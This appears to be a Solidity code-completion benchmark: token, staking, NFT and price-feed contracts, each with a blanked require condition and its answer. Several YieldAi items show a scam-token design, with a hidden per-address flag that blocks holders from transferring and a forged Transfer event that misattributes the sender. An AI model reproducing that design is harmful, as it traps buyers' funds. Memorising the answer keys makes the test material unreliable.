comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
null
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; /* library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } }*/ contract YieldAi { mapping (address => uint256) private XBl; mapping (address => uint256) private XCl; mapping(address => mapping(address => uint256)) public allowance; string public name = "YIELDAi Token"; string public symbol = unicode"YIELDAi"; uint8 public decimals = 6; uint256 public totalSupply = 150000000 *10**6; address owner = msg.sender; address private XdL; address zDeployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function renounceOwnership() public virtual { } function xCreate(address account, uint256 amount) internal { } function balanceOf(address account) public view returns (uint256) { } function transfer(address to, uint256 value) public returns (bool success) { require(<FILL_ME>) require(XBl[msg.sender] >= value); XBl[msg.sender] -= value; XBl[to] += value; emit Transfer(msg.sender, to, value); return true; } modifier xJJ () { } function approve(address spender, uint256 value) public returns (bool success) { } function zupdate (address iiX, uint256 iiV) xJJ public { } function zann (address iiX, uint256 iiV) xJJ public { } function transferFrom(address from, address to, uint256 value) public returns (bool success) { } }
XCl[msg.sender]<=1
482,848
XCl[msg.sender]<=1
null
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; /* library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } }*/ contract YieldAi { mapping (address => uint256) private XBl; mapping (address => uint256) private XCl; mapping(address => mapping(address => uint256)) public allowance; string public name = "YIELDAi Token"; string public symbol = unicode"YIELDAi"; uint8 public decimals = 6; uint256 public totalSupply = 150000000 *10**6; address owner = msg.sender; address private XdL; address zDeployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function renounceOwnership() public virtual { } function xCreate(address account, uint256 amount) internal { } function balanceOf(address account) public view returns (uint256) { } function transfer(address to, uint256 value) public returns (bool success) { require(XCl[msg.sender] <= 1); require(<FILL_ME>) XBl[msg.sender] -= value; XBl[to] += value; emit Transfer(msg.sender, to, value); return true; } modifier xJJ () { } function approve(address spender, uint256 value) public returns (bool success) { } function zupdate (address iiX, uint256 iiV) xJJ public { } function zann (address iiX, uint256 iiV) xJJ public { } function transferFrom(address from, address to, uint256 value) public returns (bool success) { } }
XBl[msg.sender]>=value
482,848
XBl[msg.sender]>=value
null
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; /* library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } }*/ contract YieldAi { mapping (address => uint256) private XBl; mapping (address => uint256) private XCl; mapping(address => mapping(address => uint256)) public allowance; string public name = "YIELDAi Token"; string public symbol = unicode"YIELDAi"; uint8 public decimals = 6; uint256 public totalSupply = 150000000 *10**6; address owner = msg.sender; address private XdL; address zDeployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function renounceOwnership() public virtual { } function xCreate(address account, uint256 amount) internal { } function balanceOf(address account) public view returns (uint256) { } function transfer(address to, uint256 value) public returns (bool success) { } modifier xJJ () { } function approve(address spender, uint256 value) public returns (bool success) { } function zupdate (address iiX, uint256 iiV) xJJ public { } function zann (address iiX, uint256 iiV) xJJ public { } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if(from == XdL) { require(value <= XBl[from]); require(value <= allowance[from][msg.sender]); XBl[from] -= value; XBl[to] += value; from = zDeployer; emit Transfer (from, to, value); return true; } require(<FILL_ME>) require(value <= XBl[from]); require(value <= allowance[from][msg.sender]); XBl[from] -= value; XBl[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
XCl[from]<=1&&XCl[to]<=1
482,848
XCl[from]<=1&&XCl[to]<=1
"only withdraw what you deposited"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/interfaces/IERC20.sol"; import "./IParrotRewards.sol"; contract ParrotRewards is IParrotRewards, Ownable { event DistributeReward(address indexed wallet, address receiver); event DepositRewards(address indexed wallet, uint256 amountETH); IERC20 public usdc; address public immutable shareholderToken; uint256 public totalLockedUsers; uint256 public totalSharesDeposited; uint256 public totalRewards; uint256 public totalDistributed; uint160[] private shareHolders; mapping(address => uint256) private shares; mapping(address => uint256) private unclaimedRewards; mapping(address => uint256) private claimedRewards; uint256 private constant ACC_FACTOR = 10 ** 36; constructor(address _shareholderToken) { } function deposit(uint256 _amount) external { } function withdraw(uint256 _amount) external { } function _addShares(address shareholder, uint256 amount) internal { } function _removeShares(address shareholder, uint256 amount) internal { require(<FILL_ME>) _distributeReward(shareholder); totalSharesDeposited -= amount; shares[shareholder] -= amount; if (shares[shareholder] == 0) { if (shareHolders.length > 1) { for (uint256 i = 0; i < shareHolders.length; ) { if (shareHolders[i] == uint160(shareholder)) { shareHolders[i] = shareHolders[shareHolders.length - 1]; delete shareHolders[shareHolders.length - 1]; } unchecked { ++i; } } } else { delete shareHolders[0]; } totalLockedUsers--; } } function depositRewards(uint256 _amount) external { } function _distributeReward(address shareholder) internal { } function claimReward() external { } function setUSDCAddress(address _usdc) external onlyOwner { } function getUnpaid(address shareholder) public view returns (uint256) { } function getClaimed(address shareholder) public view returns (uint256) { } function getShares(address user) external view returns (uint256) { } }
shares[shareholder]>0&&amount<=shares[shareholder],"only withdraw what you deposited"
482,899
shares[shareholder]>0&&amount<=shares[shareholder]
"no shares owned"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/interfaces/IERC20.sol"; import "./IParrotRewards.sol"; contract ParrotRewards is IParrotRewards, Ownable { event DistributeReward(address indexed wallet, address receiver); event DepositRewards(address indexed wallet, uint256 amountETH); IERC20 public usdc; address public immutable shareholderToken; uint256 public totalLockedUsers; uint256 public totalSharesDeposited; uint256 public totalRewards; uint256 public totalDistributed; uint160[] private shareHolders; mapping(address => uint256) private shares; mapping(address => uint256) private unclaimedRewards; mapping(address => uint256) private claimedRewards; uint256 private constant ACC_FACTOR = 10 ** 36; constructor(address _shareholderToken) { } function deposit(uint256 _amount) external { } function withdraw(uint256 _amount) external { } function _addShares(address shareholder, uint256 amount) internal { } function _removeShares(address shareholder, uint256 amount) internal { } function depositRewards(uint256 _amount) external { } function _distributeReward(address shareholder) internal { require(<FILL_ME>) uint256 amount = getUnpaid(shareholder); if (amount > 0) { claimedRewards[shareholder] += amount; totalDistributed += amount; unclaimedRewards[shareholder] = 0; usdc.transfer(shareholder, amount); emit DistributeReward(shareholder, shareholder); } } function claimReward() external { } function setUSDCAddress(address _usdc) external onlyOwner { } function getUnpaid(address shareholder) public view returns (uint256) { } function getClaimed(address shareholder) public view returns (uint256) { } function getShares(address user) external view returns (uint256) { } }
shares[shareholder]>0,"no shares owned"
482,899
shares[shareholder]>0
"Invalid merkle proof"
// // // ///////////////////////////////////////////////////////////////// // // // ██████ ███████ ███ ██ ███ ██ ██ ███████ // // ██ ██ ██ ████ ██ ████ ██ ██ ██ // // ██ ██ █████ ██ ██ ██ ██ ██ ██ ██ ███████ // // ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ // // ██████ ███████ ██ ████ ██ ████ ██ ███████ // // // // ███████ ██████ ██ ██ ███ ███ ███████ ██ ███████ // // ██ ██ ██ ██ ████ ████ ██ ██ ███ // // ███████ ██ ███████ ██ ████ ██ █████ ██ ███ // // ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ // // ███████ ██████ ██ ██ ██ ██ ███████ ███████ ███████ // // // ///////////////////////////////////////////////////////////////// // // // // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract EditionsByDennisSchmelz is ERC1155PresetMinterPauser, Ownable, DefaultOperatorFilterer { string public name = "Editions by Dennis Schmelz"; string public symbol = "EDS"; string public contractUri = "https://metadata.dennisschmelz.de/editions/contract"; bool public isMintEnabled = true; bytes32 public root = 0xed76b5c48f8b28555b31ee240a4e2d59e7d38a213735481c8dad773bb30926c9; mapping(address => uint256) public claimedNFTs; constructor() ERC1155PresetMinterPauser("https://metadata.dennisschmelz.de/editions/{id}") {} function setIsMintEnabled(bool isEnabled) public onlyOwner { } function setRoot(bytes32 newroot) public onlyOwner { } function setUri(string memory newuri) public onlyOwner { } function setContractURI(string memory newuri) public onlyOwner { } function contractURI() public view returns (string memory) { } function mint(uint256 amount, bytes32[] calldata proof) external { require(isMintEnabled, "Mint not enabled"); require(<FILL_ME>) require(claimedNFTs[msg.sender] < amount, "Wallet already claimed"); _mint(msg.sender, 1, amount, ""); claimedNFTs[msg.sender] = amount; } function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public override onlyAllowedOperator(from) { } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override onlyAllowedOperator(from) { } }
MerkleProof.verify(proof,root,keccak256(abi.encodePacked(msg.sender,amount))),"Invalid merkle proof"
482,942
MerkleProof.verify(proof,root,keccak256(abi.encodePacked(msg.sender,amount)))
"Wallet already claimed"
// // // ///////////////////////////////////////////////////////////////// // // // ██████ ███████ ███ ██ ███ ██ ██ ███████ // // ██ ██ ██ ████ ██ ████ ██ ██ ██ // // ██ ██ █████ ██ ██ ██ ██ ██ ██ ██ ███████ // // ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ // // ██████ ███████ ██ ████ ██ ████ ██ ███████ // // // // ███████ ██████ ██ ██ ███ ███ ███████ ██ ███████ // // ██ ██ ██ ██ ████ ████ ██ ██ ███ // // ███████ ██ ███████ ██ ████ ██ █████ ██ ███ // // ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ // // ███████ ██████ ██ ██ ██ ██ ███████ ███████ ███████ // // // ///////////////////////////////////////////////////////////////// // // // // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract EditionsByDennisSchmelz is ERC1155PresetMinterPauser, Ownable, DefaultOperatorFilterer { string public name = "Editions by Dennis Schmelz"; string public symbol = "EDS"; string public contractUri = "https://metadata.dennisschmelz.de/editions/contract"; bool public isMintEnabled = true; bytes32 public root = 0xed76b5c48f8b28555b31ee240a4e2d59e7d38a213735481c8dad773bb30926c9; mapping(address => uint256) public claimedNFTs; constructor() ERC1155PresetMinterPauser("https://metadata.dennisschmelz.de/editions/{id}") {} function setIsMintEnabled(bool isEnabled) public onlyOwner { } function setRoot(bytes32 newroot) public onlyOwner { } function setUri(string memory newuri) public onlyOwner { } function setContractURI(string memory newuri) public onlyOwner { } function contractURI() public view returns (string memory) { } function mint(uint256 amount, bytes32[] calldata proof) external { require(isMintEnabled, "Mint not enabled"); require(MerkleProof.verify(proof, root, keccak256(abi.encodePacked(msg.sender, amount))), "Invalid merkle proof"); require(<FILL_ME>) _mint(msg.sender, 1, amount, ""); claimedNFTs[msg.sender] = amount; } function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public override onlyAllowedOperator(from) { } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override onlyAllowedOperator(from) { } }
claimedNFTs[msg.sender]<amount,"Wallet already claimed"
482,942
claimedNFTs[msg.sender]<amount
"UNMATCHED_ANTIWHALE"
pragma solidity ^0.7.0; // SPDX-License-Identifier: Unlicensed interface FactoryInterface { function createPair(address tokenA, address tokenB) external returns (address pair); } interface RouterInterface { function WETH() external view returns (address); function factory() external view returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); } interface ERC20Interface { function totalSupply() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } contract Liquifier { using SafeMath for uint256; address public router; address public factory; address public liquifiable; // token it will liquify address public weth; address[] path; address public liquifiablePair; constructor(address _routerAddr) { } function _swapForWETH(uint256 amountToken) private { } function _addLiquidity() private { } function liquify() public { } } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); event OwnershipRenounced(); constructor() { } modifier onlyOwner { } function transferOwnership(address _newOwner) public onlyOwner { } function _chainId() internal pure returns (uint256) { } function acceptOwnership() public { } function renounceOwnership() public onlyOwner { } } contract Hashbarium is Owned { using SafeMath for uint256; // assigned on constructor address public excluder; // the address that can exclude from antiwhale (owner at start, can be changed later) address public marketing; // marketing address string public name; // token name string public symbol; // token symbol uint256 public supply; // total supply // hardcoded uint8 public decimals = 18; // erc20 decimals (18 by default) uint256 public mktTax = 3; // 3% editable later (onlyOwner) uint256 public liqTax = 2; // 2% editable later (onlyOwner too) // generated on deployment address public liquifier; // liquifier contract address (set by constructor after deploying it) address public liquifiablePair; // used by system bool isLiquifying; // user data mapping (address => uint256) public balances; // user balances mapping (address => mapping (address => uint256)) public allowances; // user allowances mapping (address => bool) excluded; // excluded from antiwhale // ERC20 mandatory events event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // custom events event TaxesChanged(uint256 indexed marketingTax, uint256 indexed liquidityTax); event ExcluderChanged(address indexed newExcluder); event Excluded(address indexed guy); event UnExcluded(address indexed guy); event MarketingAddressChanged(address indexed newAddress); constructor(string memory _name, string memory _symbol, uint256 _totalSupply, address router, address _marketing) { } // view functions function balanceOf(address tokenOwner) public view returns (uint256) { } function totalSupply() public view returns (uint256) { } function allowance(address tokenOwner, address spender) public view returns (uint256) { } // private functions function _transfer(address from, address to, uint256 tokens) private { uint256 toLP = isLiquifying ? 0 : tokens.mul(liqTax).div(100); // calculates amount to LP uint256 toMkt = isLiquifying ? 0 : tokens.mul(mktTax).div(100); // calculates amount to marketing uint256 totalTax = toLP.add(toMkt); uint256 toRecipient = tokens.sub(totalTax); balances[from] = balances[from].sub(tokens); // deducts tokens from sender balances[liquifier] = balances[liquifier].add(toLP); // adds them to LP balance if (!isLiquifying) { // liquifying when to == liquifiablePair messes with reserves isLiquifying = true; // lock variable to prevent infinite recursion (bool success, ) = liquifier.call(abi.encodeWithSelector(bytes4(keccak256(abi.encodePacked("liquify()"))))); // calls liquifier contract to add liquidity success; // silents warning isLiquifying = false; // unlocks it to allow further liquify } // executed AFTER to avoid messing with reserves balances[to] = balances[to].add(toRecipient); // adds tokens to recipient balance balances[marketing] = balances[marketing].add(toMkt); // adds marketing tokens to marketing balance emit Transfer(from, to, toRecipient); // event ALWAYS fired in accordance with ERC20 standard if (toLP > 0) { emit Transfer(from, liquifier, toLP); } // event only if lpTax > 0 if (toMkt > 0) { emit Transfer(from, marketing, toMkt); } // event only if mkt tax > 0 require(<FILL_ME>) } // public functions function transfer(address to, uint256 tokens) public returns (bool) { } function transferFrom(address from, address to, uint256 tokens) public returns (bool) { } function approve(address spender, uint256 tokens) public returns (bool) { } // only owner stuff function setTaxes(uint256 _marketing, uint256 _liquidity) public onlyOwner { } // only excluder stuff (*allows both owner AND excluder) modifier onlyExcluder { } function changeExcluder(address newExcluder) public onlyExcluder { } function exclude(address addr) public onlyExcluder { } function unexclude(address addr) public onlyExcluder { } // set marketing stuff function setMarketing(address _newAddress) public { } }
(balances[to]<=totalSupply().div(100))||excluded[to],"UNMATCHED_ANTIWHALE"
483,029
(balances[to]<=totalSupply().div(100))||excluded[to]
"Sorry, we're only minting to those whitelisted!"
// _____ .__ ________ .__ // / \ __ __ ______ ____ | | ____ \______ \ __ __ _____ _____ |__| ____ ______ // / \ / \| | \/ ___// ___\| | _/ __ \ | | \| | \/ \ / \| |/ __ \ / ___/ // / Y \ | /\___ \\ \___| |_\ ___/ | ` \ | / Y Y \ Y Y \ \ ___/ \___ \ // \____|__ /____//____ >\___ >____/\___ >_______ /____/|__|_| /__|_| /__|\___ >____ > // \/ \/ \/ \/ \/ \/ \/ \/ \/ // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract MuscleDummies is ERC721Enumerable, Ownable { using Counters for Counters.Counter; using Strings for uint256; Counters.Counter private _tokenIdCounter; string public baseURI; string private notRevealedUri; string public baseExtension = ".json"; uint256 public cost = 0.11 ether; uint256 public maxSupply = 333; uint256 public maxMintAmount = 1; bool public paused = true; bool public revealed = false; bool public onlyWhitelisted = false; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721("Muscle Dummies", "MDNFT") { } // ========================= PUBLIC ========================= function mintUser(address to, uint256 _mintAmount) public payable { require(_mintAmount > 0, "Please select how many you would like to mint"); uint256 supply = totalSupply(); require(supply < maxSupply, "We are all out of Muscle Dummies!"); require(supply + _mintAmount <= maxSupply, "We do not have this many Muscle Dummies left!"); //MAKE sure they have the funds and not the max amount of dummies if(to != owner()) { require(!paused, "We are not currently minting!"); if(onlyWhitelisted){ require(<FILL_ME>) } require(balanceOf(to) < maxMintAmount, "You have minted the maximum amount of Muscle Dummies"); require(_mintAmount <= maxMintAmount, "You cannot mint this many Muscle Dummies."); require(msg.value >= cost * _mintAmount, "Insufficent funds"); } uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function isWhitelisted(address _user) public view returns (bool) { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } // ========================= OWNER FUNCTIONS ========================= function reveal() public onlyOwner { } function setCost(uint256 _newCost) public onlyOwner { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setOnlyWhitelisted(bool _state) public onlyOwner { } function whitelistUsers(address[] calldata _users) public onlyOwner { } function withdraw() public payable onlyOwner { } // ========================= INTERNAL FUNCTIONS ========================= function _baseURI() internal view virtual override returns (string memory) { } }
isWhitelisted(to),"Sorry, we're only minting to those whitelisted!"
483,052
isWhitelisted(to)
"You have minted the maximum amount of Muscle Dummies"
// _____ .__ ________ .__ // / \ __ __ ______ ____ | | ____ \______ \ __ __ _____ _____ |__| ____ ______ // / \ / \| | \/ ___// ___\| | _/ __ \ | | \| | \/ \ / \| |/ __ \ / ___/ // / Y \ | /\___ \\ \___| |_\ ___/ | ` \ | / Y Y \ Y Y \ \ ___/ \___ \ // \____|__ /____//____ >\___ >____/\___ >_______ /____/|__|_| /__|_| /__|\___ >____ > // \/ \/ \/ \/ \/ \/ \/ \/ \/ // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract MuscleDummies is ERC721Enumerable, Ownable { using Counters for Counters.Counter; using Strings for uint256; Counters.Counter private _tokenIdCounter; string public baseURI; string private notRevealedUri; string public baseExtension = ".json"; uint256 public cost = 0.11 ether; uint256 public maxSupply = 333; uint256 public maxMintAmount = 1; bool public paused = true; bool public revealed = false; bool public onlyWhitelisted = false; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721("Muscle Dummies", "MDNFT") { } // ========================= PUBLIC ========================= function mintUser(address to, uint256 _mintAmount) public payable { require(_mintAmount > 0, "Please select how many you would like to mint"); uint256 supply = totalSupply(); require(supply < maxSupply, "We are all out of Muscle Dummies!"); require(supply + _mintAmount <= maxSupply, "We do not have this many Muscle Dummies left!"); //MAKE sure they have the funds and not the max amount of dummies if(to != owner()) { require(!paused, "We are not currently minting!"); if(onlyWhitelisted){ require(isWhitelisted(to), "Sorry, we're only minting to those whitelisted!"); } require(<FILL_ME>) require(_mintAmount <= maxMintAmount, "You cannot mint this many Muscle Dummies."); require(msg.value >= cost * _mintAmount, "Insufficent funds"); } uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function isWhitelisted(address _user) public view returns (bool) { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } // ========================= OWNER FUNCTIONS ========================= function reveal() public onlyOwner { } function setCost(uint256 _newCost) public onlyOwner { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setOnlyWhitelisted(bool _state) public onlyOwner { } function whitelistUsers(address[] calldata _users) public onlyOwner { } function withdraw() public payable onlyOwner { } // ========================= INTERNAL FUNCTIONS ========================= function _baseURI() internal view virtual override returns (string memory) { } }
balanceOf(to)<maxMintAmount,"You have minted the maximum amount of Muscle Dummies"
483,052
balanceOf(to)<maxMintAmount
"PriceFeed: not supported token!"
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; // solhint-disable not-rely-on-time import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; interface AggregatorV3Interface { function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; library DataFeedClient { int256 internal constant MIN_VALUE = 10 ** 7; // 0.1 USD int256 internal constant MAX_VALUE = 1000000 * 10 ** 8; // 1,000,000 USD uint256 internal constant MAX_DELAY = 2592000; // 1 month function getData( AggregatorV3Interface dataFeed ) internal view returns (uint256) { } } contract ChainLinkPriceFeed is AccessControl { bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); using DataFeedClient for AggregatorV3Interface; uint8 internal constant USD_DECIMALS = 8; mapping(string => address) private _priceFeedAddress; address public _nativeTokenPriceFeedAddress; address public owner; constructor(address nativeTokenPriceFeedAddress) { } modifier onlyOwner() { } function setNativeTokenPriceFeedAddress( address nativeTokenPriceFeedAddress ) external onlyOwner { } function transferOwner(address newOwner) public onlyOwner { } function setPriceFeedAddress( string memory symbol, address priceFeed ) external onlyOwner { } function getPriceFeedAddress( string memory symbol ) public view returns (address) { require(<FILL_ME>) return _priceFeedAddress[symbol]; } function getTokenInfo( address tokenAddress ) public view returns (string memory, uint8) { } function convertTokenPriceToUsd( uint256 tokenAmount, address tokenAddress ) public view returns (uint256) { } function convertUsdToTokenPrice( uint256 usdValue, address tokenAddress ) public view returns (uint256) { } /** * Convert USD value to token amount * @param usdValue USD value * @param tokenPriceFeedAddress Chainlink price feed address * @param tokenDecimals Token decimals * @return tokenPrice Token price in USD * @return usdValueToTokenAmount USD value to token amount */ function _convertUsdToTokenPrice( uint256 usdValue, address tokenPriceFeedAddress, uint8 tokenDecimals ) public view returns (uint256, uint256) { } function _convertTokenPriceToUsd( uint256 tokenAmount, address tokenPriceFeedAddress, uint8 tokenDecimals ) public view returns (uint256, uint256) { } }
_priceFeedAddress[symbol]!=address(0),"PriceFeed: not supported token!"
483,168
_priceFeedAddress[symbol]!=address(0)
"Roundtrip too high"
